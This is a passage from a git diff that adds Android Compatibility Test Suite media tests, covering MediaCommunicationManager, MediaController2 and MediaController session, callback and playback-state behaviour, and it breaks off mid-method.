+        for (Pair<String, Integer> type : supportedTypes) {
+            assertTrue("codecs for media type " + type.first + " in configuration " + type.second
+                    + " do not have substantial performance point data",
+                    describedTypes.contains(type));
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java
new file mode 100644
index 0000000..cc5c3c1
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaCommunicationManager;
+import android.media.MediaSession2;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link android.media.MediaCommunicationManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class MediaCommunicationManagerTest {
+    private static final int TIMEOUT_MS = 5000;
+    private static final int WAIT_MS = 500;
+
+    private Context mContext;
+    private MediaCommunicationManager mManager;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mManager = mContext.getSystemService(MediaCommunicationManager.class);
+    }
+
+    @Test
+    public void testGetVersion() {
+        assertNotNull("Missing MediaCommunicationManager", mManager);
+        assertTrue(mManager.getVersion() > 0);
+    }
+
+    @Test
+    public void testGetSession2Tokens() throws Exception {
+        Executor executor = Executors.newSingleThreadExecutor();
+
+        assertNotNull("Missing MediaCommunicationManager", mManager);
+        ManagerSessionCallback managerCallback = new ManagerSessionCallback();
+        Session2Callback sessionCallback = new Session2Callback();
+        mManager.registerSessionCallback(executor, managerCallback);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(executor, sessionCallback)
+                .build()) {
+            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            Session2Token currentToken = session.getToken();
+            assertTrue(managerCallback.mCreatedTokens.contains(currentToken));
+            assertTrue(mManager.getSession2Tokens().contains(currentToken));
+        }
+        mManager.unregisterSessionCallback(managerCallback);
+    }
+
+    @Test
+    public void testManagerSessionCallback() throws Exception {
+        Executor executor = Executors.newSingleThreadExecutor();
+
+        assertNotNull("Missing MediaCommunicationManager", mManager);
+        ManagerSessionCallback managerCallback = new ManagerSessionCallback();
+        Session2Callback sessionCallback = new Session2Callback();
+        mManager.registerSessionCallback(executor, managerCallback);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setId("session1")
+                .setSessionCallback(executor, sessionCallback)
+                .build()) {
+            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            Session2Token currentToken = session.getToken();
+            assertTrue(managerCallback.mCreatedTokens.contains(currentToken));
+            assertTrue(managerCallback.mLastTokens.contains(currentToken));
+
+            // Create another session
+            managerCallback.resetLatches();
+            MediaSession2 session2 = new MediaSession2.Builder(mContext)
+                    .setId("session2")
+                    .setSessionCallback(executor, sessionCallback).build();
+            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            Session2Token token2 = session2.getToken();
+            assertTrue(managerCallback.mCreatedTokens.contains(token2));
+            assertTrue(managerCallback.mLastTokens.contains(token2));
+
+            // Test if onSession2TokensChanged are called if a session is closed
+            managerCallback.resetLatches();
+            session2.close();
+            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertFalse(managerCallback.mLastTokens.contains(token2));
+        }
+
+        mManager.unregisterSessionCallback(managerCallback);
+    }
+
+    private static class Session2Callback extends MediaSession2.SessionCallback {
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                MediaSession2.ControllerInfo controller) {
+            return new Session2CommandGroup.Builder().build();
+        }
+    }
+
+    private static class ManagerSessionCallback
+            implements MediaCommunicationManager.SessionCallback {
+        CountDownLatch mCreatedLatch;
+        CountDownLatch mChangedLatch;
+        final List<Session2Token> mCreatedTokens = new CopyOnWriteArrayList<>();
+        List<Session2Token> mLastTokens = Collections.emptyList();
+
+        private ManagerSessionCallback() {
+            mCreatedLatch = new CountDownLatch(1);
+            mChangedLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onSession2TokenCreated(Session2Token token) {
+            mCreatedTokens.add(token);
+            mCreatedLatch.countDown();
+        }
+
+        @Override
+        public void onSession2TokensChanged(List<Session2Token> tokens) {
+            mLastTokens = new ArrayList<>(tokens);
+            mChangedLatch.countDown();
+        }
+
+        public void resetLatches() {
+            mCreatedLatch = new CountDownLatch(1);
+            mChangedLatch = new CountDownLatch(1);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaController2Test.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaController2Test.java
new file mode 100644
index 0000000..1025109
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaController2Test.java
@@ -0,0 +1,511 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaMetadata;
+import android.media.MediaSession2;
+import android.media.Session2Command;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link android.media.MediaController2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class MediaController2Test {
+    private static final long WAIT_TIME_MS = 100L;
+
+    static final Object sTestLock = new Object();
+
+    static final int ALLOWED_COMMAND_CODE = 100;
+    static final Session2CommandGroup SESSION_ALLOWED_COMMANDS = new Session2CommandGroup.Builder()
+            .addCommand(new Session2Command(ALLOWED_COMMAND_CODE)).build();
+    static final int SESSION_RESULT_CODE = 101;
+    static final String SESSION_RESULT_KEY = "test_result_key";
+    static final String SESSION_RESULT_VALUE = "test_result_value";
+    static final Session2Command.Result SESSION_COMMAND_RESULT;
+
+    private static final String TEST_KEY = "test_key";
+    private static final String TEST_VALUE = "test_value";
+
+    static {
+        Bundle resultData = new Bundle();
+        resultData.putString(SESSION_RESULT_KEY, SESSION_RESULT_VALUE);
+        SESSION_COMMAND_RESULT = new Session2Command.Result(SESSION_RESULT_CODE, resultData);
+    }
+
+    static Handler sHandler;
+    static Executor sHandlerExecutor;
+
+    private Context mContext;
+    private Bundle mExtras;
+    private MediaSession2 mSession;
+    private Session2Callback mSessionCallback;
+
+    @BeforeClass
+    public static void setUpThread() {
+        synchronized (MediaSession2Test.class) {
+            if (sHandler != null) {
+                return;
+            }
+            HandlerThread handlerThread = new HandlerThread("MediaSessionTestBase");
+            handlerThread.start();
+            sHandler = new Handler(handlerThread.getLooper());
+            sHandlerExecutor = (runnable) -> {
+                Handler handler;
+                synchronized (MediaSession2Test.class) {
+                    handler = sHandler;
+                }
+                if (handler != null) {
+                    handler.post(() -> {
+                        synchronized (sTestLock) {
+                            runnable.run();
+                        }
+                    });
+                }
+            };
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        synchronized (MediaSession2Test.class) {
+            if (sHandler == null) {
+                return;
+            }
+            sHandler.getLooper().quitSafely();
+            sHandler = null;
+            sHandlerExecutor = null;
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mSessionCallback = new Session2Callback();
+        mExtras = new Bundle();
+        mExtras.putString(TEST_KEY, TEST_VALUE);
+        mSession = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, mSessionCallback)
+                .setExtras(mExtras)
+                .build();
+    }
+
+    @After
+    public void cleanUp() {
+        if (mSession != null) {
+            mSession.close();
+            mSession = null;
+        }
+    }
+
+    @Test
+    public void testBuilder_withIllegalArguments() {
+        final Session2Token token = new Session2Token(
+                mContext, new ComponentName(mContext, this.getClass()));
+
+        try {
+            MediaController2.Builder builder = new MediaController2.Builder(null, token);
+            fail("null context shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            MediaController2.Builder builder = new MediaController2.Builder(mContext, null);
+            fail("null token shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
+            builder.setConnectionHints(null);
+            fail("null connectionHints shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
+            builder.setControllerCallback(null, new MediaController2.ControllerCallback() {});
+            fail("null Executor shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        try {
+            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
+            builder.setControllerCallback(Executors.newSingleThreadExecutor(), null);
+            fail("null ControllerCallback shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testBuilder_setConnectionHints_withFrameworkParcelable() throws Exception {
+        final List<MediaSession2.ControllerInfo> controllerInfoList = new ArrayList<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setId("testBuilder_setConnectionHints_withFrameworkParcelable")
+                .setSessionCallback(sHandlerExecutor, new MediaSession2.SessionCallback() {
+                    @Override
+                    public Session2CommandGroup onConnect(MediaSession2 session,
+                            MediaSession2.ControllerInfo controller) {
+                        if (controller.getUid() == Process.myUid()) {
+                            controllerInfoList.add(controller);
+                            latch.countDown();
+                            return new Session2CommandGroup.Builder().build();
+                        }
+                        return null;
+                    }
+                })
+                .build()) {
+
+            final Session2Token frameworkParcelable = new Session2Token(
+                    mContext, new ComponentName(mContext, this.getClass()));
+            final String testKey = "test_key";
+
+            Bundle connectionHints = new Bundle();
+            connectionHints.putParcelable(testKey, frameworkParcelable);
+
+            MediaController2 controller = new MediaController2.Builder(mContext, session.getToken())
+                    .setConnectionHints(connectionHints)
+                    .build();
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+            Bundle connectionHintsOut = controllerInfoList.get(0).getConnectionHints();
+            assertTrue(connectionHintsOut.containsKey(testKey));
+            assertEquals(frameworkParcelable, connectionHintsOut.getParcelable(testKey));
+        }
+    }
+
+    @Test
+    public void testBuilder_setConnectionHints_withCustomParcelable() {
+        final Session2Token token = new Session2Token(
+                mContext, new ComponentName(mContext, this.getClass()));
+        final String testKey = "test_key";
+        final MediaSession2Test.CustomParcelable customParcelable =
+                new MediaSession2Test.CustomParcelable(1);
+
+        Bundle connectionHints = new Bundle();
+        connectionHints.putParcelable(testKey, customParcelable);
+
+        try (MediaController2 controller = new MediaController2.Builder(mContext, token)
+                .setConnectionHints(connectionHints)
+                .build()) {
+            fail("Custom Parcelables shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testCreatingControllerWithoutCallback() throws Exception {
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken()).build()) {
+            assertTrue(mSessionCallback.mOnConnectedLatch.await(
+                    WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            assertEquals(mContext.getPackageName(),
+                    mSessionCallback.mControllerInfo.getPackageName());
+        }
+    }
+
+    @Test
+    public void testGetConnectedToken() {
+        Controller2Callback controllerCallback = new Controller2Callback();
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken())
+                             .setControllerCallback(sHandlerExecutor, controllerCallback)
+                             .build()) {
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+            assertEquals(controller, controllerCallback.mController);
+            assertEquals(mSession.getToken(), controller.getConnectedToken());
+
+            Bundle extrasFromConnectedSessionToken =
+                    controller.getConnectedToken().getExtras();
+            assertNotNull(extrasFromConnectedSessionToken);
+            assertEquals(TEST_VALUE, extrasFromConnectedSessionToken.getString(TEST_KEY));
+        } finally {
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+            assertNull(controllerCallback.mController.getConnectedToken());
+        }
+    }
+
+    @Test
+    public void testCallback_onConnected_onDisconnected() {
+        Controller2Callback controllerCallback = new Controller2Callback();
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken())
+                             .setControllerCallback(sHandlerExecutor, controllerCallback)
+                             .build()) {
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+            assertEquals(controller, controllerCallback.mController);
+            assertTrue(controllerCallback.mAllowedCommands.hasCommand(ALLOWED_COMMAND_CODE));
+        } finally {
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCallback_onSessionCommand() {
+        Controller2Callback controllerCallback = new Controller2Callback();
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken())
+                             .setControllerCallback(sHandlerExecutor, controllerCallback)
+                             .build()) {
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+
+            String commandStr = "test_command";
+            String commandExtraKey = "test_extra_key";
+            String commandExtraValue = "test_extra_value";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key";
+            String commandArgValue = "test_arg_value";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            mSession.sendSessionCommand(mSessionCallback.mControllerInfo, command, commandArg);
+
+            assertTrue(controllerCallback.awaitOnSessionCommand(WAIT_TIME_MS));
+            assertEquals(controller, controllerCallback.mController);
+            assertEquals(commandStr, controllerCallback.mCommand.getCustomAction());
+            assertEquals(commandExtraValue,
+                    controllerCallback.mCommand.getCustomExtras().getString(commandExtraKey));
+            assertEquals(commandArgValue, controllerCallback.mCommandArgs.getString(commandArgKey));
+        } finally {
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCallback_onCommandResult() {
+        Controller2Callback controllerCallback = new Controller2Callback();
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken())
+                             .setControllerCallback(sHandlerExecutor, controllerCallback)
+                             .build()) {
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+
+            String commandStr = "test_command";
+            String commandExtraKey = "test_extra_key";
+            String commandExtraValue = "test_extra_value";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key";
+            String commandArgValue = "test_arg_value";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            controller.sendSessionCommand(command, commandArg);
+
+            assertTrue(controllerCallback.awaitOnCommandResult(WAIT_TIME_MS));
+            assertEquals(controller, controllerCallback.mController);
+            assertEquals(SESSION_RESULT_CODE, controllerCallback.mCommandResult.getResultCode());
+            assertEquals(SESSION_RESULT_VALUE,
+                    controllerCallback.mCommandResult.getResultData()
+                            .getString(SESSION_RESULT_KEY));
+        } finally {
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCancelSessionCommand() {
+        Controller2Callback controllerCallback = new Controller2Callback();
+        try (MediaController2 controller =
+                     new MediaController2.Builder(mContext, mSession.getToken())
+                             .setControllerCallback(sHandlerExecutor, controllerCallback)
+                             .build()) {
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+
+            String commandStr = "test_command_";
+            String commandExtraKey = "test_extra_key_";
+            String commandExtraValue = "test_extra_value_";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key_";
+            String commandArgValue = "test_arg_value_";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            synchronized (sTestLock) {
+                Object token = controller.sendSessionCommand(command, commandArg);
+                controller.cancelSessionCommand(token);
+            }
+            assertTrue(controllerCallback.awaitOnCommandResult(WAIT_TIME_MS));
+            assertEquals(Session2Command.Result.RESULT_INFO_SKIPPED,
+                    controllerCallback.mCommandResult.getResultCode());
+        } finally {
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    class Session2Callback extends MediaSession2.SessionCallback {
+        MediaSession2.ControllerInfo mControllerInfo;
+        CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
+
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                MediaSession2.ControllerInfo controller) {
+            if (controller.getUid() != Process.myUid()) {
+                return null;
+            }
+            mControllerInfo = controller;
+            mOnConnectedLatch.countDown();
+            return SESSION_ALLOWED_COMMANDS;
+        }
+
+        @Override
+        public Session2Command.Result onSessionCommand(MediaSession2 session,
+                MediaSession2.ControllerInfo controller, Session2Command command, Bundle args) {
+            return SESSION_COMMAND_RESULT;
+        }
+    }
+
+    class Controller2Callback extends MediaController2.ControllerCallback {
+        CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
+        CountDownLatch mOnDisconnectedLatch = new CountDownLatch(1);
+        private CountDownLatch mOnSessionCommandLatch = new CountDownLatch(1);
+        private CountDownLatch mOnCommandResultLatch = new CountDownLatch(1);
+
+        MediaController2 mController;
+        Session2Command mCommand;
+        Session2CommandGroup mAllowedCommands;
+        Bundle mCommandArgs;
+        Session2Command.Result mCommandResult;
+
+        public boolean await(long waitMs) {
+            try {
+                return mOnSessionCommandLatch.await(waitMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        @Override
+        public void onConnected(MediaController2 controller, Session2CommandGroup allowedCommands) {
+            super.onConnected(controller, allowedCommands);
+            mController = controller;
+            mAllowedCommands = allowedCommands;
+            mOnConnectedLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            super.onDisconnected(controller);
+            mController = controller;
+            mOnDisconnectedLatch.countDown();
+        }
+
+        @Override
+        public Session2Command.Result onSessionCommand(MediaController2 controller,
+                Session2Command command, Bundle args) {
+            super.onSessionCommand(controller, command, args);
+            mController = controller;
+            mCommand = command;
+            mCommandArgs = args;
+            mOnSessionCommandLatch.countDown();
+            return SESSION_COMMAND_RESULT;
+        }
+
+        @Override
+        public void onCommandResult(MediaController2 controller, Object token,
+                Session2Command command, Session2Command.Result result) {
+            super.onCommandResult(controller, token, command, result);
+            mController = controller;
+            mCommand = command;
+            mCommandResult = result;
+            mOnCommandResultLatch.countDown();
+        }
+
+        @Override
+        public void onPlaybackActiveChanged(MediaController2 controller, boolean playbackActive) {
+            super.onPlaybackActiveChanged(controller, playbackActive);
+        }
+
+        public boolean awaitOnConnected(long waitTimeMs) {
+            try {
+                return mOnConnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnDisconnected(long waitTimeMs) {
+            try {
+                return mOnDisconnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnSessionCommand(long waitTimeMs) {
+            try {
+                return mOnSessionCommandLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnCommandResult(long waitTimeMs) {
+            try {
+                return mOnCommandResultLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaControllerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaControllerTest.java
new file mode 100644
index 0000000..a44cd2c
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaControllerTest.java
@@ -0,0 +1,928 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static android.media.cts.Utils.compareRemoteUserInfo;
+import static android.media.session.PlaybackState.STATE_PLAYING;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.Rating;
+import android.media.VolumeProvider;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.media.session.PlaybackState;
+import android.media.session.PlaybackState.CustomAction;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.test.AndroidTestCase;
+import android.view.KeyEvent;
+
+/**
+ * Test {@link android.media.session.MediaController}.
+ */
+@NonMediaMainlineTest
+public class MediaControllerTest extends AndroidTestCase {
+    // The maximum time to wait for an operation.
+    private static final long TIME_OUT_MS = 3000L;
+    private static final String SESSION_TAG = "test-session";
+    private static final String EXTRAS_KEY = "test-key";
+    private static final String EXTRAS_VALUE = "test-val";
+
+    private final Object mWaitLock = new Object();
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private MediaSession mSession;
+    private Bundle mSessionInfo;
+    private MediaSessionCallback mCallback = new MediaSessionCallback();
+    private MediaController mController;
+    private RemoteUserInfo mControllerInfo;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mSessionInfo = new Bundle();
+        mSessionInfo.putString(EXTRAS_KEY, EXTRAS_VALUE);
+        mSession = new MediaSession(getContext(), SESSION_TAG, mSessionInfo);
+        mSession.setCallback(mCallback, mHandler);
+        mController = mSession.getController();
+        mControllerInfo = new RemoteUserInfo(
+                getContext().getPackageName(), Process.myPid(), Process.myUid());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
+    }
+
+    public void testGetPackageName() {
+        assertEquals(getContext().getPackageName(), mController.getPackageName());
+    }
+
+    public void testGetPlaybackState() {
+        final int testState = STATE_PLAYING;
+        final long testPosition = 100000L;
+        final float testSpeed = 1.0f;
+        final long testActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_STOP
+                | PlaybackState.ACTION_SEEK_TO;
+        final long testActiveQueueItemId = 3377;
+        final long testBufferedPosition = 100246L;
+        final String testErrorMsg = "ErrorMsg";
+
+        final Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        final double positionDelta = 500;
+
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(testState, testPosition, testSpeed)
+                .setActions(testActions)
+                .setActiveQueueItemId(testActiveQueueItemId)
+                .setBufferedPosition(testBufferedPosition)
+                .setErrorMessage(testErrorMsg)
+                .setExtras(extras)
+                .build();
+
+        mSession.setPlaybackState(state);
+
+        // Note: No need to wait since the AIDL call is not oneway.
+        PlaybackState stateOut = mController.getPlaybackState();
+        assertNotNull(stateOut);
+        assertEquals(testState, stateOut.getState());
+        assertEquals(testPosition, stateOut.getPosition(), positionDelta);
+        assertEquals(testSpeed, stateOut.getPlaybackSpeed(), 0.0f);
+        assertEquals(testActions, stateOut.getActions());
+        assertEquals(testActiveQueueItemId, stateOut.getActiveQueueItemId());
+        assertEquals(testBufferedPosition, stateOut.getBufferedPosition());
+        assertEquals(testErrorMsg, stateOut.getErrorMessage().toString());
+        assertNotNull(stateOut.getExtras());
+        assertEquals(EXTRAS_VALUE, stateOut.getExtras().get(EXTRAS_KEY));
+    }
+
+    public void testGetRatingType() {
+        assertEquals("Default rating type of a session must be Rating.RATING_NONE",
+                Rating.RATING_NONE, mController.getRatingType());
+
+        mSession.setRatingType(Rating.RATING_5_STARS);
+        // Note: No need to wait since the AIDL call is not oneway.
+        assertEquals(Rating.RATING_5_STARS, mController.getRatingType());
+    }
+
+    public void testGetSessionToken() {
+        assertEquals(mSession.getSessionToken(), mController.getSessionToken());
+    }
+
+    public void testGetSessionInfo() {
+        Bundle sessionInfo = mController.getSessionInfo();
+        assertNotNull(sessionInfo);
+        assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
+
+        Bundle cachedSessionInfo = mController.getSessionInfo();
+        assertEquals(EXTRAS_VALUE, cachedSessionInfo.getString(EXTRAS_KEY));
+    }
+
+    public void testGetSessionInfoReturnsAnEmptyBundleWhenNotSet() {
+        MediaSession session = new MediaSession(getContext(), "test_tag", /*sessionInfo=*/ null);
+        try {
+            assertTrue(session.getController().getSessionInfo().isEmpty());
+        } finally {
+            session.release();
+        }
+    }
+
+    public void testGetTag() {
+        assertEquals(SESSION_TAG, mController.getTag());
+    }
+
+    public void testSendCommand() throws Exception {
+        synchronized (mWaitLock) {
+            mCallback.reset();
+            final String command = "test-command";
+            final Bundle extras = new Bundle();
+            extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+            mController.sendCommand(command, extras, new ResultReceiver(null));
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnCommandCalled);
+            assertNotNull(mCallback.mCommandCallback);
+            assertEquals(command, mCallback.mCommand);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+        }
+    }
+
+    public void testSendCommandWithIllegalArgumentsThrowsIAE() {
+        Bundle args = new Bundle();
+        ResultReceiver resultReceiver = new ResultReceiver(mHandler);
+
+        try {
+            mController.sendCommand(/*command=*/ null, args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.sendCommand(/*command=*/ "", args, resultReceiver);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testSetPlaybackSpeed() throws Exception {
+        synchronized (mWaitLock) {
+            mCallback.reset();
+
+            final float testSpeed = 2.0f;
+            mController.getTransportControls().setPlaybackSpeed(testSpeed);
+            mWaitLock.wait(TIME_OUT_MS);
+
+            assertTrue(mCallback.mOnSetPlaybackSpeedCalled);
+            assertEquals(testSpeed, mCallback.mSpeed, 0.0f);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+        }
+    }
+
+    public void testAdjustVolumeWithIllegalDirection() {
+        // Call the method with illegal direction. System should not reboot.
+        mController.adjustVolume(37, 0);
+    }
+
+    public void testVolumeControl() throws Exception {
+        VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_ABSOLUTE, 11, 5) {
+            @Override
